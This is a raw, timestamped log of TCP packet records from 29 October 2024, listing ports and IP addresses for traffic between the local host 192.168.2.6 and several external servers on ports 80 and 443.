Oct 29, 2024 17:59:18.493451118 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.493454933 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.493469000 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.493475914 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.493489981 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.493505955 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.544447899 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.544497013 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.544572115 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.544594049 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.544615030 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.544634104 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.720554113 CET	49763	443	192.168.2.6	4.245.163.56
Oct 29, 2024 17:59:18.720597982 CET	443	49763	4.245.163.56	192.168.2.6
Oct 29, 2024 17:59:18.720673084 CET	49763	443	192.168.2.6	4.245.163.56
Oct 29, 2024 17:59:18.722480059 CET	49763	443	192.168.2.6	4.245.163.56
Oct 29, 2024 17:59:18.722490072 CET	443	49763	4.245.163.56	192.168.2.6
Oct 29, 2024 17:59:18.867352009 CET	443	49758	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.867835045 CET	49758	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.867868900 CET	443	49758	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.868309975 CET	49758	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.868316889 CET	443	49758	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.998939991 CET	443	49758	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.999191999 CET	443	49758	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.999289036 CET	49758	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.999289989 CET	49758	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.999332905 CET	49758	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.999347925 CET	443	49758	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.001902103 CET	49764	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:19.001956940 CET	443	49764	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.002049923 CET	49764	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:19.002168894 CET	49764	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:19.002186060 CET	443	49764	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.028261900 CET	443	49759	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.028758049 CET	49759	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:19.028788090 CET	443	49759	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.029261112 CET	49759	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:19.029268980 CET	443	49759	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.076112032 CET	443	49760	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.076931953 CET	49760	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:19.076960087 CET	443	49760	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.077399969 CET	49760	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:19.077406883 CET	443	49760	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.157628059 CET	443	49759	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.157990932 CET	443	49759	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.158052921 CET	49759	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:19.158088923 CET	49759	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:19.158107042 CET	443	49759	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.158117056 CET	49759	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:19.158123016 CET	443	49759	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.159101963 CET	443	49761	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.159478903 CET	49761	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:19.159512997 CET	443	49761	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.159897089 CET	49761	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:19.159904003 CET	443	49761	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.159924984 CET	443	49762	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.160284996 CET	49762	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:19.160320997 CET	443	49762	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.160697937 CET	49762	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:19.160706043 CET	443	49762	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.161540031 CET	49765	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:19.161577940 CET	443	49765	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.161647081 CET	49765	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:19.161791086 CET	49765	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:19.161802053 CET	443	49765	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.207355022 CET	443	49760	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.207443953 CET	443	49760	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.207494974 CET	49760	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:19.207792044 CET	49760	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:19.207818985 CET	443	49760	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.207834005 CET	49760	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:19.207840919 CET	443	49760	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.215114117 CET	49766	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:19.215176105 CET	443	49766	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.215235949 CET	49766	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:19.215359926 CET	49766	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:19.215367079 CET	443	49766	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.289423943 CET	443	49762	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.289630890 CET	443	49762	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.289674997 CET	49762	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:19.290215015 CET	443	49761	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.290615082 CET	49762	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:19.290627956 CET	443	49762	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.290638924 CET	49762	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:19.290644884 CET	443	49762	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.291307926 CET	443	49761	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.291371107 CET	49761	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:19.293014050 CET	49761	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:19.293034077 CET	443	49761	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.293045998 CET	49761	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:19.293051958 CET	443	49761	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.297739029 CET	49767	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:19.297790051 CET	443	49767	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.297873974 CET	49767	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:19.299566984 CET	49767	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:19.299581051 CET	443	49767	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.302160025 CET	49768	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:19.302191019 CET	443	49768	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.302258968 CET	49768	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:19.302439928 CET	49768	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:19.302450895 CET	443	49768	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.753457069 CET	443	49764	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.763967037 CET	49764	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:19.763993979 CET	443	49764	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.764620066 CET	49764	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:19.764626026 CET	443	49764	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.805310965 CET	443	49763	4.245.163.56	192.168.2.6
Oct 29, 2024 17:59:19.805372000 CET	49763	443	192.168.2.6	4.245.163.56
Oct 29, 2024 17:59:19.860706091 CET	49763	443	192.168.2.6	4.245.163.56
Oct 29, 2024 17:59:19.860732079 CET	443	49763	4.245.163.56	192.168.2.6
Oct 29, 2024 17:59:19.861052036 CET	443	49763	4.245.163.56	192.168.2.6
Oct 29, 2024 17:59:19.900561094 CET	49763	443	192.168.2.6	4.245.163.56
Oct 29, 2024 17:59:19.906023026 CET	443	49764	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.906585932 CET	443	49764	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.906661034 CET	49764	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:19.912873030 CET	443	49765	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.957420111 CET	443	49766	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:19.963156939 CET	49765	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:20.009953022 CET	49766	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:20.035012960 CET	443	49768	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:20.035067081 CET	443	49767	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:20.083273888 CET	49767	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:20.083287954 CET	49768	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:20.085953951 CET	49767	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:20.085964918 CET	443	49767	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:20.086416960 CET	49767	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:20.086422920 CET	443	49767	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:20.086719036 CET	49768	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:20.086730957 CET	443	49768	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:20.087033987 CET	49768	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:20.087038994 CET	443	49768	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:20.087150097 CET	49764	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:20.087182045 CET	443	49764	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:20.087198019 CET	49764	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:20.087203979 CET	443	49764	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:20.088578939 CET	49765	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:20.088584900 CET	443	49765	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:20.088964939 CET	49765	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:20.088968992 CET	443	49765	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:20.211100101 CET	443	49767	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:20.211179018 CET	443	49767	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:20.211242914 CET	49767	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:20.212816000 CET	443	49768	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:20.212878942 CET	443	49768	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:20.215049028 CET	49768	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:20.364212990 CET	443	49765	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:20.364295959 CET	443	49765	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:20.364407063 CET	49765	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:20.471752882 CET	49766	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:20.471796036 CET	443	49766	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:20.472245932 CET	49766	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:20.472250938 CET	443	49766	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:20.472454071 CET	49765	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:20.472454071 CET	49765	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:20.472477913 CET	443	49765	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:20.472486973 CET	443	49765	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:20.484299898 CET	49767	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:20.484316111 CET	443	49767	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:20.484328032 CET	49767	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:20.484334946 CET	443	49767	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:20.485455990 CET	49768	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:20.485487938 CET	443	49768	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:20.552062988 CET	49770	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:20.552088022 CET	443	49770	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:20.552202940 CET	49770	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:20.572315931 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:20.572499990 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:20.685455084 CET	49770	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:20.685473919 CET	443	49770	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:20.732054949 CET	49773	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:20.732084036 CET	443	49773	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:20.732161045 CET	49773	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:20.733777046 CET	49774	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:20.733810902 CET	443	49774	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:20.733918905 CET	49774	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:20.734225035 CET	49775	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:20.734234095 CET	443	49775	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:20.734364986 CET	49775	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:20.734534979 CET	49773	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:20.734546900 CET	443	49773	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:20.735820055 CET	49774	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:20.735831976 CET	443	49774	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:20.736032009 CET	49775	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:20.736042023 CET	443	49775	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:20.806617022 CET	443	49766	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:20.806700945 CET	443	49766	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:20.806751966 CET	49766	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:20.861800909 CET	49766	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:20.861848116 CET	443	49766	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:20.861865997 CET	49766	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:20.861874104 CET	443	49766	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:20.869571924 CET	49778	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:20.869625092 CET	443	49778	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:20.869680882 CET	49778	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:20.869903088 CET	49778	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:20.869915009 CET	443	49778	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:20.874916077 CET	49779	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:20.874955893 CET	443	49779	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:20.875047922 CET	49779	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:20.875231028 CET	49779	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:20.875241995 CET	443	49779	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:20.909354925 CET	49763	443	192.168.2.6	4.245.163.56
Oct 29, 2024 17:59:20.955336094 CET	443	49763	4.245.163.56	192.168.2.6
Oct 29, 2024 17:59:21.267343044 CET	443	49763	4.245.163.56	192.168.2.6
Oct 29, 2024 17:59:21.267365932 CET	443	49763	4.245.163.56	192.168.2.6
Oct 29, 2024 17:59:21.267380953 CET	443	49763	4.245.163.56	192.168.2.6
Oct 29, 2024 17:59:21.267390013 CET	443	49763	4.245.163.56	192.168.2.6
Oct 29, 2024 17:59:21.267416954 CET	443	49763	4.245.163.56	192.168.2.6
Oct 29, 2024 17:59:21.267431021 CET	49763	443	192.168.2.6	4.245.163.56
Oct 29, 2024 17:59:21.267445087 CET	443	49763	4.245.163.56	192.168.2.6
Oct 29, 2024 17:59:21.267474890 CET	49763	443	192.168.2.6	4.245.163.56
Oct 29, 2024 17:59:21.267499924 CET	49763	443	192.168.2.6	4.245.163.56
Oct 29, 2024 17:59:21.268455982 CET	443	49763	4.245.163.56	192.168.2.6
Oct 29, 2024 17:59:21.268527031 CET	49763	443	192.168.2.6	4.245.163.56
Oct 29, 2024 17:59:21.268532991 CET	443	49763	4.245.163.56	192.168.2.6
Oct 29, 2024 17:59:21.308163881 CET	49763	443	192.168.2.6	4.245.163.56
Oct 29, 2024 17:59:21.308204889 CET	443	49763	4.245.163.56	192.168.2.6
Oct 29, 2024 17:59:21.308222055 CET	49763	443	192.168.2.6	4.245.163.56
Oct 29, 2024 17:59:21.308440924 CET	443	49763	4.245.163.56	192.168.2.6
Oct 29, 2024 17:59:21.308469057 CET	443	49763	4.245.163.56	192.168.2.6
Oct 29, 2024 17:59:21.308505058 CET	49763	443	192.168.2.6	4.245.163.56
Oct 29, 2024 17:59:21.403796911 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:21.403841019 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:21.403960943 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:21.404297113 CET	49781	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:21.404311895 CET	443	49781	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:21.419174910 CET	443	49770	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.419573069 CET	49770	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:21.419588089 CET	443	49770	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.420088053 CET	49770	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:21.420095921 CET	443	49770	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.458826065 CET	49782	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:21.458868980 CET	443	49782	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:21.458928108 CET	49782	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:21.459124088 CET	49782	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:21.459137917 CET	443	49782	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:21.464627028 CET	443	49773	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.464895964 CET	443	49774	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.465161085 CET	49773	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:21.465183973 CET	443	49773	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.465642929 CET	49773	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:21.465646982 CET	443	49773	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.465740919 CET	49774	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:21.465766907 CET	443	49774	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.466167927 CET	49774	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:21.466173887 CET	443	49774	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.470417976 CET	443	49775	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.470865965 CET	49775	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:21.470880985 CET	443	49775	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.471333027 CET	49775	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:21.471338034 CET	443	49775	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.594640017 CET	443	49774	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.596371889 CET	443	49774	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.596441984 CET	49774	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:21.596507072 CET	49774	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:21.596507072 CET	49774	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:21.596522093 CET	443	49774	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.596532106 CET	443	49774	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.599317074 CET	49783	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:21.599335909 CET	443	49783	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.599401951 CET	49783	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:21.599546909 CET	49783	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:21.599560976 CET	443	49783	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.603696108 CET	443	49773	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.603816032 CET	443	49773	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.603867054 CET	49773	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:21.603903055 CET	49773	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:21.603919983 CET	443	49773	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.603930950 CET	49773	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:21.603935957 CET	443	49773	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.606487989 CET	49784	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:21.606513977 CET	443	49784	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.606600046 CET	49784	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:21.606714010 CET	49784	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:21.606723070 CET	443	49784	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.609906912 CET	443	49770	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.610160112 CET	443	49770	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.610236883 CET	49770	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:21.610276937 CET	49770	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:21.610276937 CET	49770	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:21.610294104 CET	443	49770	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.610300064 CET	443	49770	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.612400055 CET	49785	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:21.612489939 CET	443	49785	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.612576962 CET	49785	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:21.612694979 CET	49785	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:21.612742901 CET	443	49785	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.622750998 CET	443	49779	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.623301983 CET	49779	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:21.623321056 CET	443	49779	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.623863935 CET	49779	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:21.623869896 CET	443	49779	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.650777102 CET	49786	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:21.650808096 CET	443	49786	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:21.650875092 CET	49786	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:21.651081085 CET	49786	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:21.651089907 CET	443	49786	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:21.658924103 CET	443	49775	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.659080982 CET	443	49775	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.659143925 CET	49775	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:21.659259081 CET	49775	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:21.659280062 CET	443	49775	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.659291029 CET	49775	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:21.659296036 CET	443	49775	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.662214041 CET	49787	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:21.662296057 CET	443	49787	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.662377119 CET	49787	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:21.662553072 CET	49787	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:21.662580013 CET	443	49787	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.731533051 CET	443	49778	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:21.731755018 CET	49778	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:21.731779099 CET	443	49778	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:21.732758045 CET	443	49778	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:21.732816935 CET	49778	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:21.733761072 CET	49778	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:21.733839989 CET	443	49778	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:21.733974934 CET	49778	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:21.733984947 CET	443	49778	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:21.780885935 CET	49778	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:21.866301060 CET	443	49779	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.866517067 CET	443	49779	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.866823912 CET	49779	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:21.866823912 CET	49779	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:21.866823912 CET	49779	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:21.869734049 CET	49788	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:21.869775057 CET	443	49788	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:21.869942904 CET	49788	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:21.870089054 CET	49788	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:21.870098114 CET	443	49788	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:22.006257057 CET	443	49778	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.006308079 CET	443	49778	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.006347895 CET	443	49778	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.006398916 CET	443	49778	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.006572962 CET	49778	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.006597996 CET	443	49778	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.055706978 CET	49778	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.055718899 CET	443	49778	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.058454037 CET	49778	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:22.058526993 CET	443	49778	142.250.185.132	192.168.2.6
Oct 29, 2024 17:59:22.058734894 CET	443	49778	142.250.185.132	192.168.2.6
